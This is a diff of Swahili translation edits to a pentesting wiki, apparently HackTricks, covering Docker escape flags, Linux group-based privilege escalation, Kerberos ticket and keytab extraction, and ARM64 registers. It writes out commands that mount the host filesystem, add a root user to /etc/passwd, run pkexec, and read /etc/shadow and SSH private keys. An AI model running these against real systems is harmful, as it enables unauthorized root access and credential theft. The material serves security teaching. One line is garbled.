kontena. - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Hii ni sawa na njia ya awali, lakini hapa tunafanya **kuunganisha diski ya kifaa**. Kisha, ndani ya kontena endesha `mount /dev/sda1 /mnt` na unaweza **kupata** **filesystem ya mwenyeji** katika `/mnt` +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> Hii ni sawa na njia ya awali, lakini hapa tuna **unganisha diski ya kifaa**. Kisha, ndani ya kontena endesha `mount /dev/sda1 /mnt` na unaweza **kuzipata** **filesystem ya mwenyeji** katika `/mnt` - Endesha `fdisk -l` kwenye mwenyeji ili kupata kifaa `` cha kuunganisha - **`-v /tmp:/host`** -> Ikiwa kwa sababu fulani unaweza **kuunganisha tu directory fulani** kutoka kwa mwenyeji na una ufikiaji ndani ya mwenyeji. Unganisha na uunde **`/bin/bash`** yenye **suid** katika directory iliyounganishwa ili uweze **kuikimbia kutoka kwa mwenyeji na kuinua hadi root**. > [!NOTE] > Kumbuka kwamba huenda usiweze kuunganisha folda `/tmp` lakini unaweza kuunganisha **folda nyingine inayoweza kuandikwa**. Unaweza kupata directories zinazoweza kuandikwa kwa kutumia: `find / -writable -type d 2>/dev/null` > -> **Kumbuka kwamba si directories zote katika mashine ya linux zitasaidia suid bit!** Ili kuangalia ni directories zipi zinasaidia suid bit endesha `mount | grep -v "nosuid"` Kwa mfano kawaida `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` na `/var/lib/lxcfs` hazisaidii suid bit. +> **Kumbuka kwamba si directories zote katika mashine ya linux zitasaidia bit ya suid!** Ili kuangalia ni directories zipi zinasaidia bit ya suid endesha `mount | grep -v "nosuid"` Kwa mfano kawaida `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` na `/var/lib/lxcfs` hazisaidii bit ya suid. > > Kumbuka pia kwamba ikiwa unaweza **kuunganisha `/etc`** au folda nyingine yoyote **iliyokuwa na faili za usanidi**, unaweza kuzibadilisha kutoka kwa kontena la docker kama root ili **uzitumie kwenye mwenyeji** na kuinua mamlaka (labda kubadilisha `/etc/shadow`) ### Escaping from the container - **`--privileged`** -> Kwa bendera hii un [ondoa kila ulinzi kutoka kwa kontena](docker-privileged.md#what-affects). Angalia mbinu za [kutoroka kutoka kwa kontena zenye mamlaka kama root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Ili [kuinua kwa kutumia uwezo](../linux-capabilities.md), **peana uwezo huo kwa kontena** na uzime njia nyingine za ulinzi ambazo zinaweza kuzuia exploit kufanya kazi. +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Ili [kuinua kwa kudhulumu uwezo](../linux-capabilities.md), **peana uwezo huo kwa kontena** na uzime njia nyingine za ulinzi ambazo zinaweza kuzuia exploit kufanya kazi. ### Curl -Katika ukurasa huu tumajadili njia za kuinua mamlaka kwa kutumia bendera za docker, unaweza kupata **njia za kuitumia mbinu hizi kwa kutumia amri ya curl** katika ukurasa: +Katika ukurasa huu tumajadili njia za kuinua mamlaka kwa kutumia bendera za docker, unaweza kupata **njia za kudhulumu mbinu hizi kwa kutumia amri ya curl** katika ukurasa: {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 979242a42..12438d97f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -4,18 +4,18 @@ ## What is Distroless -Konteina isiyo na mfumo wa uendeshaji ni aina ya kontena ambayo **ina viambatisho muhimu tu kuendesha programu maalum**, bila programu au zana za ziada ambazo hazihitajiki. Kontena hizi zimeundwa kuwa **nyepesi** na **salama** kadri iwezekanavyo, na zina lengo la **kupunguza uso wa shambulio** kwa kuondoa vipengele visivyohitajika. +Konteina isiyo na mfumo ni aina ya konteina ambayo **ina vitu vya msingi tu vinavyohitajika kuendesha programu maalum**, bila programu au zana za ziada ambazo hazihitajiki. Konteina hizi zimeundwa kuwa **nyepesi** na **salama** kadri inavyowezekana, na zina lengo la **kupunguza uso wa shambulio** kwa kuondoa vipengele visivyohitajika. -Konteina zisizo na mfumo wa uendeshaji mara nyingi hutumiwa katika **mazingira ya uzalishaji ambapo usalama na uaminifu ni muhimu**. +Konteina zisizo na mfumo mara nyingi hutumiwa katika **mazingira ya uzalishaji ambapo usalama na uaminifu ni muhimu**. -Baadhi ya **mfano** wa **konteina zisizo na mfumo wa uendeshaji** ni: +Baadhi ya **mfano** wa **konteina zisizo na mfumo** ni: - Iliyotolewa na **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) - Iliyotolewa na **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) ## Weaponizing Distroless -Lengo la kuunda silaha kutoka kwa kontena isiyo na mfumo wa uendeshaji ni kuwa na uwezo wa **kutekeleza binaries na payloads za kiholela hata na vikwazo** vinavyotokana na **distroless** (ukosefu wa binaries za kawaida katika mfumo) na pia ulinzi unaopatikana mara nyingi katika kontena kama **kusoma tu** au **hakuna utekelezaji** katika `/dev/shm`. +Lengo la kuunda silaha kutoka kwa konteina isiyo na mfumo ni kuwa na uwezo wa **kutekeleza binaries na payloads za kiholela hata na vikwazo** vinavyotokana na **distroless** (ukosefu wa binaries za kawaida katika mfumo) na pia ulinzi unaopatikana mara nyingi katika konteina kama **kusoma tu** au **hakuna utekelezaji** katika `/dev/shm`. ### Through memory @@ -25,6 +25,6 @@ Kujitokeza katika wakati fulani wa 2023... #### openssl -\***\*[**Katika chapisho hili,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) inafafanuliwa kuwa binary **`openssl`** mara nyingi hupatikana katika kontena hizi, labda kwa sababu inahitajika\*\* na programu ambayo itakuwa ikikimbia ndani ya kontena. +\***\*[**Katika chapisho hili,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) inaelezwa kuwa binary **`openssl`** mara nyingi hupatikana katika konteina hizi, labda kwa sababu inahitajika na programu ambayo itakuwa ikikimbia ndani ya konteina. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 24977d751..2b27c501c 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -31,19 +31,19 @@ Hii ni kwa sababu kawaida hizo ndizo vikundi ndani ya **polkit policy**. Sera hi ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya disktros za linux vikundi **sudo** na **admin** vinajitokeza. +Hapa utaona ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya disktros za linux vikundi **sudo** na **admin** vinajitokeza. Ili **kuwa root unaweza kutekeleza**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` -Ikiwa unajaribu kutekeleza **pkexec** na unapata **error** hii: +Ikiwa unajaribu kutekeleza **pkexec** na unapata **makosa** haya: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` -**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho la tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sessions 2 tofauti za ssh**: +**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho kwa tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -68,17 +68,17 @@ sudo su ``` ## Shadow Group -Watumiaji kutoka **group shadow** wanaweza **kusoma** faili ya **/etc/shadow**: +Watumiaji kutoka **group shadow** wanaweza **kusoma** faili **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -So, read the file and try to **crack some hashes**. +So, soma faili na jaribu **kufungua baadhi ya hashes**. -## Staff Group +## Kundi la Wafanyakazi -**staff**: Inaruhusu watumiaji kuongeza mabadiliko ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kundi "adm", ambalo lina uhusiano zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: Inaruhusu watumiaji kuongeza marekebisho ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kundi "adm", ambalo lina uhusiano zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups) -Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu zaidi, iwe wewe ni mtumiaji mwenye ruhusa au la. +Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu, iwe wewe ni mtumiaji mwenye mamlaka au la. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` -au Wakati wa kuingia kwa kikao kipya cha ssh. +au Wakati wa kuingia kwenye kikao kipya cha ssh. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -141,29 +141,29 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -Kumbuka kwamba ukitumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala ya `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya: +Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -Hata hivyo, ikiwa unajaribu **kuandika faili zinazomilikiwa na root** (kama `/etc/shadow` au `/etc/passwd`) utapata kosa la "**Permission denied**". +Hata hivyo, ikiwa unajaribu **kuandika faili zinazomilikiwa na root** (kama `/etc/shadow` au `/etc/passwd`) utapata kosa la "**Ruhusa imekataliwa**". -## Video Group +## Kundi la Video -Kwa kutumia amri `w` unaweza kupata **nani aliyeingia kwenye mfumo** na itatoa matokeo kama ifuatavyo: +Kwa kutumia amri `w` unaweza kupata **nani amejiandikisha kwenye mfumo** na itatoa matokeo kama ifuatavyo: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` -**tty1** inamaanisha kwamba mtumiaji **yossi amejiandikisha kimwili** kwenye terminal kwenye mashine. +The **tty1** inamaanisha kwamba mtumiaji **yossi amejiandikisha kimwili** kwenye terminal kwenye mashine. Kikundi cha **video** kina ufikiaji wa kuangalia matokeo ya skrini. Kimsingi unaweza kuangalia skrini. Ili kufanya hivyo unahitaji **kuchukua picha ya sasa kwenye skrini** katika data safi na kupata azimio ambalo skrini inatumia. Data ya skrini inaweza kuhifadhiwa katika `/dev/fb0` na unaweza kupata azimio la skrini hii kwenye `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -Ili **kufungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili ya \*\*`screen.raw` \*\* na chagua kama aina ya faili **Raw image data**: +Ili **kufungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili **`screen.raw`** na chagua kama aina ya faili **Data ya picha ya raw**: ![](<../../../images/image (463).png>) @@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group -Unaweza **kushikilia mfumo wa faili wa mzazi wa mashine kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inapoanza mara moja inachukua `chroot` kwenye kiasi hicho. Hii kwa ufanisi inakupa root kwenye mashine. +Unaweza **kushikilia mfumo wa faili wa mizizi wa mashine mwenyeji kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inachukua mara moja `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi mizizi kwenye mashine. ```bash docker image #Get images from the docker service @@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` -Hatimaye, ikiwa hupendi yoyote ya mapendekezo ya awali, au hayafanyi kazi kwa sababu fulani (docker api firewall?) unaweza kila wakati kujaribu **kufanya kazi kwenye kontena lenye mamlaka na kutoroka kutoka kwake** kama ilivyoelezwa hapa: +Hatimaye, ikiwa hupendi mapendekezo yoyote ya awali, au hayafanyi kazi kwa sababu fulani (docker api firewall?) unaweza kila wakati kujaribu **kufanya kazi kwenye kontena lenye mamlaka na kutoroka kutoka kwake** kama ilivyoelezwa hapa: {{#ref}} ../docker-security/ {{#endref}} -Ikiwa una ruhusa za kuandika juu ya socket ya docker soma [**hii chapisho kuhusu jinsi ya kupandisha mamlaka kwa kutumia socket ya docker**](../index.html#writable-docker-socket)**.** +Ikiwa una ruhusa za kuandika juu ya socket ya docker soma [**hiki kipande kuhusu jinsi ya kupandisha mamlaka kwa kutumia socket ya docker**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation @@ -217,12 +217,12 @@ https://fosterelli.co/privilege-escalation-via-docker.html ## Kundi la Adm -Kwa kawaida **wanachama** wa kundi **`adm`** wana ruhusa za **kusoma** faili za log zilizopo ndani ya _/var/log/_.\ +Kawaida **wanachama** wa kundi **`adm`** wana ruhusa za **kusoma faili za log** zilizopo ndani ya _/var/log/_.\ Hivyo, ikiwa umepata mtumiaji ndani ya kundi hili unapaswa kwa hakika kuangalia **logi**. ## Kundi la Auth -Ndani ya OpenBSD kundi la **auth** kwa kawaida linaweza kuandika katika folda _**/etc/skey**_ na _**/var/db/yubikey**_ ikiwa zinatumika.\ +Ndani ya OpenBSD kundi la **auth** kawaida linaweza kuandika katika folda _**/etc/skey**_ na _**/var/db/yubikey**_ ikiwa zinatumika.\ Ruhusa hizi zinaweza kutumika vibaya kwa kutumia exploit ifuatayo ili **kupandisha mamlaka** hadi root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index f2a9850b8..74e29633d 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Mashine ya linux inaweza pia kuwa ndani ya mazingira ya Active Directory. +Mashine ya linux inaweza pia kuwepo ndani ya mazingira ya Active Directory. -Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani ya faili. Tiketi hizi zinaweza kutumika na kutumiwa vibaya kama tiketi nyingine yoyote ya kerberos**. Ili kusoma tiketi hizi utahitaji kuwa mmiliki wa tiketi au **root** ndani ya mashine. +Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani ya faili. Tiketi hizi zinaweza kutumika na kutumiwa vibaya kama tiketi nyingine za kerberos**. Ili kusoma tiketi hizi utahitaji kuwa mmiliki wa tiketi au **root** ndani ya mashine. ## Enumeration @@ -20,7 +20,7 @@ Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuhesabu AD k ### FreeIPA -FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Kutumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hilo katika: +FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Inatumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hilo katika: {{#ref}} ../freeipa-pentesting.md @@ -49,9 +49,9 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` -### CCACHE tiketi matumizi kutoka kwenye keyring +### CCACHE ticket reuse from keyring -**Tiketi za Kerberos zilizohifadhiwa katika kumbukumbu ya mchakato zinaweza kutolewa**, hasa wakati ulinzi wa ptrace wa mashine umezimwa (`/proc/sys/kernel/yama/ptrace_scope`). Chombo chenye manufaa kwa kusudi hili kinapatikana kwenye [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), ambacho kinasaidia kutoa tiketi kwa kuingiza kwenye vikao na kutupa tiketi kwenye `/tmp`. +**Tiketi za Kerberos zilizohifadhiwa katika kumbukumbu ya mchakato zinaweza kutolewa**, hasa wakati ulinzi wa ptrace wa mashine umezimwa (`/proc/sys/kernel/yama/ptrace_scope`). Chombo chenye manufaa kwa kusudi hili kinapatikana kwenye [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), ambacho kinasaidia kutoa tiketi kwa kuingiza katika vikao na kutupa tiketi kwenye `/tmp`. Ili kuunda na kutumia chombo hiki, hatua zilizo hapa chini zinafuatwa: ```bash @@ -66,24 +66,24 @@ Hii taratibu itajaribu kuingiza katika vikao mbalimbali, ikionyesha mafanikio kw SSSD inashikilia nakala ya hifadhidata katika njia `/var/lib/sss/secrets/secrets.ldb`. Funguo inayohusiana inahifadhiwa kama faili iliyofichwa katika njia `/var/lib/sss/secrets/.secrets.mkey`. Kwa kawaida, funguo hiyo inaweza kusomwa tu ikiwa una ruhusa za **root**. -Kuita \*\*`SSSDKCMExtractor` \*\* na vigezo --database na --key vitachambua hifadhidata na **kufichua siri**. +Kuita **`SSSDKCMExtractor`** na vigezo --database na --key vitachambua hifadhidata na **kufichua siri**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` -**Kikasha cha akiba ya sifa za Kerberos kinaweza kubadilishwa kuwa faili ya Kerberos CCache inayoweza kutumika** ambayo inaweza kupitishwa kwa Mimikatz/Rubeus. +**Kikundi cha akiba ya sifa za Kerberos kinaweza kubadilishwa kuwa faili ya Kerberos CCache inayoweza kutumika** ambayo inaweza kupitishwa kwa Mimikatz/Rubeus. -### Urejeleaji wa tiketi za CCACHE kutoka kwa keytab +### Urejeleaji wa tiketi ya CCACHE kutoka kwa keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` -### Toa akaunti kutoka /etc/krb5.keytab +### Extract accounts from /etc/krb5.keytab -Funguo za akaunti za huduma, muhimu kwa huduma zinazofanya kazi na ruhusa za mzizi, zimehifadhiwa kwa usalama katika faili za **`/etc/krb5.keytab`**. Funguo hizi, kama nywila za huduma, zinahitaji faragha kali. +Hifadhi za akaunti za huduma, muhimu kwa huduma zinazofanya kazi na ruhusa za mzizi, zimehifadhiwa kwa usalama katika faili za **`/etc/krb5.keytab`**. Hifadhi hizi, kama nywila za huduma, zinahitaji faragha kali. -Ili kukagua maudhui ya faili ya keytab, **`klist`** inaweza kutumika. Chombo hiki kimeundwa kuonyesha maelezo ya funguo, ikiwa ni pamoja na **NT Hash** kwa ajili ya uthibitishaji wa mtumiaji, hasa wakati aina ya funguo inatambulika kama 23. +Ili kukagua maudhui ya faili la keytab, **`klist`** inaweza kutumika. Zana hii imeundwa kuonyesha maelezo ya hifadhi, ikiwa ni pamoja na **NT Hash** kwa uthibitishaji wa mtumiaji, hasa wakati aina ya hifadhi inatambulika kama 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index b69254c20..e7a81f510 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -7,43 +7,43 @@ Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango vya Kigezo (ELs), vin漚äč‰ kiwango cha ruhusa na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kigezo, kuanzia EL0 hadi EL3, kila kimoja kikihudumia kusudi tofauti: 1. **EL0 - Hali ya Mtumiaji**: -- Hiki ndicho kiwango chenye ruhusa ndogo zaidi na kinatumika kwa kutekeleza msimbo wa programu wa kawaida. -- Programu zinazotembea katika EL0 zimejitengea kutoka kwa kila mmoja na kutoka kwa programu za mfumo, kuimarisha usalama na utulivu. +- Hiki ndicho kiwango chenye ruhusa ndogo zaidi na kinatumika kwa kutekeleza msimbo wa programu za kawaida. +- Programu zinazotembea kwenye EL0 zimejitengea kutoka kwa kila mmoja na kutoka kwa programu za mfumo, kuimarisha usalama na utulivu. 2. **EL1 - Hali ya Kernel ya Mfumo wa Uendeshaji**: -- Makaratasi mengi ya mifumo ya uendeshaji yanakimbia katika kiwango hiki. +- Makaratasi mengi ya mifumo ya uendeshaji yanakimbia kwenye kiwango hiki. - EL1 ina ruhusa zaidi kuliko EL0 na inaweza kufikia rasilimali za mfumo, lakini kwa vizuizi fulani ili kuhakikisha uadilifu wa mfumo. 3. **EL2 - Hali ya Hypervisor**: -- Kiwango hiki kinatumika kwa uhalisia. Hypervisor inayokimbia katika EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayokimbia kwenye vifaa vya kimwili sawa. +- Kiwango hiki kinatumika kwa uhalisia. Hypervisor inayokimbia kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayokimbia kwenye vifaa vya kimwili sawa. - EL2 inatoa vipengele vya kutenganisha na kudhibiti mazingira yaliyohalalishwa. 4. **EL3 - Hali ya Msimamizi Salama**: - Hiki ndicho kiwango chenye ruhusa kubwa zaidi na mara nyingi kinatumika kwa kuanzisha salama na mazingira ya utekelezaji yaliyoaminika. -- EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama kuanzisha salama, OS iliyoaminika, n.k.). +- EL3 inaweza kusimamia na kudhibiti upatikanaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyoaminika, n.k.). Matumizi ya viwango hivi yanaruhusu njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za mtumiaji hadi programu za mfumo zenye ruhusa kubwa zaidi. Mbinu ya ARMv8 kuhusu viwango vya ruhusa inasaidia katika kutenganisha kwa ufanisi vipengele tofauti vya mfumo, hivyo kuimarisha usalama na uimara wa mfumo. ## **Register (ARM64v8)** -ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji tu thamani za 32-bit, register hizo zinaweza kufikiwa katika hali ya 32-bit kwa kutumia majina w0 hadi w30. +ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji tu thamani za 32-bit, register hizo hizo zinaweza kufikiwa katika hali ya 32-bit kwa kutumia majina w0 hadi w30. -1. **`x0`** hadi **`x7`** - Hizi kawaida hutumiwa kama register za scratch na kwa kupitisha vigezo kwa subroutines. +1. **`x0`** hadi **`x7`** - Hizi kwa kawaida hutumiwa kama register za scratch na kwa kupitisha vigezo kwa subroutines. - **`x0`** pia hubeba data ya kurudi ya kazi 2. **`x8`** - Katika kernel ya Linux, `x8` inatumika kama nambari ya wito wa mfumo kwa amri ya `svc`. **Katika macOS x16 ndiyo inayotumika!** 3. **`x9`** hadi **`x15`** - Register zaidi za muda, mara nyingi hutumiwa kwa mabadiliko ya ndani. -4. **`x16`** na **`x17`** - **Register za Wito wa Ndani**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganishaji wa Utaratibu). +4. **`x16`** na **`x17`** - **Register za Wito wa Ndani**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganisho wa Utaratibu). - **`x16`** inatumika kama **nambari ya wito wa mfumo** kwa amri ya **`svc`** katika **macOS**. -5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye majukwaa mengine, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa kwa sasa katika kernel ya linux. -6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mpokeaji. Kazi lazima ihifadhi thamani za register hizi kwa mpokeaji wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mpokeaji. -7. **`x29`** - **Kielelezo cha fremu** ili kufuatilia fremu ya stack. Wakati fremu mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye **stack** na anwani ya **fremu mpya** ni (**`sp`** anwani) inahifadhiwa katika register hii. -- Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**. +5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye baadhi ya majukwaa, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa sasa katika kernel ya linux. +6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mteja. Kazi lazima ihifadhi thamani za register hizi kwa mwito wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mwito. +7. **`x29`** - **Pointer ya Frame** ili kufuatilia frame ya stack. Wakati frame mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye stack na anwani ya **pointer mpya** ya frame ni (**anwani ya `sp`**) inahifadhiwa katika register hii. +- Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kwa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**. 8. **`x30`** au **`lr`**- **Register ya Kiungo**. Inashikilia **anwani ya kurudi** wakati amri ya `BL` (Tawi na Kiungo) au `BLR` (Tawi na Kiungo kwa Register) inatekelezwa kwa kuhifadhi thamani ya **`pc`** katika register hii. - Inaweza pia kutumika kama register nyingine yoyote. -- Ikiwa kazi ya sasa inakusudia kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi). -9. 